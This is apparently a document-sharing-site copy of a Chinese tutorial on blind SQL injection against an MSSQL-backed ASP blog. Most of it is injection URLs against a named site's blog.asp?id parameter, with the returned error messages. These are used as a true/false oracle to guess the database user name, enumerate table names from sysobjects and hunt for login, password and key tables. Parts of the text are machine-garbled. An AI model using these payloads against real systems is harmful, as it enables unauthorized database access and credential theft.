运用SQLInjection做数据库的渗透脚本安全电脑资料

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

运用SQL Injection做数据库的浸透脚本平安电脑资料如何灵敏地运用SQL Injection做数据库浸透的一种思路
如今,很多关于mssql数据库的浸透技巧已不能有效地获取有用的数据值,
.xxxxx./blog.asp?id=4
当参加" ’ "符号进展注入测试时,
.xxxxx./blog.asp?id=4’
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the var char value ’4? to a column of data type int
我们知道它不对" ’ "符号进展过滤。

再用如下语句测试,
.aquavelvas./blog.asp?id=4 and 1=1
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’4 and 1=1’ to a column of data type int
好,再来继续测试,
.aquavelvas./blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了,如下
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and ’
我们的" ’ "符号加对了,再继续测试,
.aquavelvas./blog.asp?id=4'%20and%20user>’0
出错信息如下,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and user>’
应该是语法不允许直接回值,是不是不能再继续了呢?想想其他方法,就看user值的长度吧,
.aquavelvas./blog.asp?id=4'%20and%20len(user)>’0
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and len(user)>’
好,我们知道假如出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而假如出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。

当处理
len(user)>0,凭着刚刚的想法,我们知道在逻辑上这是对的。

我们试试逻辑上错的语句,
.aquavelvas./blog.asp?id=4'%20and%20user%20'1'='2
果然,出错信息是,
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record
从len(user)>0这语法的根底上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa,
好了,如何猜表名呢?就先猜表名的长度吧,
就用如下语句,
len(select top 1 name from sysobjects where xtype=’U’)>10 le n(select top 1 name from sysobjects where xtype=’U’)>9 len(select top 1 name from sysobjects where xtype=’U’)>8
...
(猜表名的工作是很烦人,建议用perl写个script来玩玩)
再猜表名,
left((select top 1 name from sysobjects where
xtype=’U’),1)=a
left((select top 1 name from sysobjects where
xtype=’U’),2)=ab
left((select top 1 name from sysobjects where
xtype=’U’),3)=abc
...
好了,我们知道第一个表名是’geoipcountrywhois’ (知道为什么我建议写个perl script吧!)
再继续猜表名,
len(select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)>10
len(select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)>9
len(select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)>8
...
left((select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)),1)=b
left((select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)),1)=l
left((select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)),1)=o
....
好第二个表名是blog,之后的表名可用
(’geoipcountrywhois’,’blog’)来继续猜,然而,这显然不是好方法。

为什么我们不进展搜索呢?
如何搜索呢?就用如下的语句吧,
(select count(*) from sysobjects where xtype=’U’ and name like ’%login%’)=0
(select count(*) from sysobjects where xtype=’U’ and name like ’%pass%’)=0
(select count(*) from sysobjects where xtype=’U’ and name like ’%key%’)=0
(记得将" % "这符号换成" %25 "才是正确的输入)
好了,通过逻辑上对或错的判断,我们也可以对数据库进展浸透,不再局限于回弹显示值。

希望这思路能开阔注入技术的演变。

相关文档
最新文档